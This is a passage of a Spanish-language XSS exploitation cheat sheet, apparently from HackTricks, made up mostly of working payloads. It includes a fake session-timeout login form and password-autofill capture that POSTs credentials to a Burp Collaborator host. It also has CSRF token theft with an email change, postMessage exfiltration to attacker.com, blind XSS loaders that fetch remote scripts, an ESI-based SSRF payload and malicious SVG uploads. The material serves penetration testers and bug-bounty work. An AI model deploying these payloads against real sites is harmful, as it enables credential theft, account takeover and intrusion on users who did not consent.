<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Captura de autocompletado de contraseñas

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Cuando se introduce cualquier dato en el campo de contraseña, el nombre de usuario y la contraseña se envían al servidor del atacante, incluso si el cliente selecciona una contraseña guardada y no escribe nada, las credenciales serán exfiltradas.

Keylogger

Simplemente buscando en Github encontré algunos diferentes:

Robando tokens CSRF

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/email/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Robando mensajes PostMessage

<img src="https://attacker.com/?" id=message>
<script>
 window.onmessage = function(e){
 document.getElementById("message").src += "&"+e.data;
</script>

Abusando de los Service Workers

{% content-ref url="abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Políglotas

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}

Payloads de XSS ciego

También puedes usar: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')"> 

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Encontrar contenido oculto

A partir de este artículo es posible aprender que incluso si algunos valores desaparecen de JS, todavía es posible encontrarlos en atributos JS en diferentes objetos. Por ejemplo, es posible encontrar una entrada de una REGEX después de que se haya eliminado el valor de la entrada de la REGEX:

// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);

// Remove flag value, nobody will be able to get it, right?
flag=""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])

Lista de Fuerza Bruta

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}

Abusando de otras vulnerabilidades para XSS

XSS en Markdown

¿Puede inyectar código Markdown que se renderizará? ¡Quizás pueda obtener XSS! Compruebe:

{% content-ref url="xss-in-markdown.md" %} xss-in-markdown.md {% endcontent-ref %}

XSS a SSRF

¿Obtuvo XSS en un sitio que utiliza caché? Intente actualizarlo a SSRF a través de la Inyección de Inclusión de Lado del Borde con esta carga útil:

<esi:include src="http://yoursite.com/capture" />

¡Úsalo para saltarte restricciones de cookies, filtros XSS y mucho más!
Más información sobre esta técnica aquí: XSLT.

XSS en PDF creados dinámicamente

Si una página web está creando un PDF usando una entrada controlada por el usuario, puedes intentar engañar al bot que está creando el PDF para que ejecute código JS arbitrario.
Entonces, si el bot creador de PDF encuentra algún tipo de etiquetas HTML, las va a interpretar, y puedes abusar de este comportamiento para causar un XSS en el servidor.

{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}

Si no puedes inyectar etiquetas HTML, podría valer la pena intentar inyectar datos PDF:

{% content-ref url="pdf-injection.md" %} pdf-injection.md {% endcontent-ref %}

XSS en Amp4Email

AMP es una tecnología conocida por desarrollar páginas web súper rápidas en clientes móviles. AMP es un conjunto de etiquetas HTML respaldadas por JavaScript que permite fácilmente la funcionalidad con un enfoque adicional en el rendimiento y la seguridad. Hay componentes AMP para todo, desde carruseles hasta elementos de formulario responsivos, hasta la obtención de contenido fresco de puntos finales remotos.

El formato AMP para correo electrónico proporciona un subconjunto de componentes AMP que puedes usar en mensajes de correo electrónico. Los destinatarios de correos electrónicos AMP pueden ver e interactuar con los componentes AMP directamente en el correo electrónico.

Ejemplo de writeup XSS en Amp4Email en Gmail.

XSS al subir archivos (svg)

Sube como imagen un archivo como el siguiente (de http://ghostlulz.com/xss-svg/):

Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
   <script type="text/javascript">
      alert(1);
   </script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>

  <foreignObject width="500" height="500">
     <iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
     <iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
  </foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Encuentra más payloads SVG en https://github.com/allanlw/svg-cheatsheet

Trucos JS Misceláneos e Información Relevante

{% content-ref url="other-js-tricks.md" %} other-js-tricks.md {% endcontent-ref %}

Recursos XSS

HERRAMIENTAS XSS

Encuentra algunas herramientas para XSS aquí.


Consejo de recompensa por errores: regístrate en Intigriti, una plataforma premium de recompensas por errores creada por hackers, para hackers. ¡Únete a nosotros en https://go.intigriti.com/hacktricks hoy mismo y comienza a ganar recompensas de hasta $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥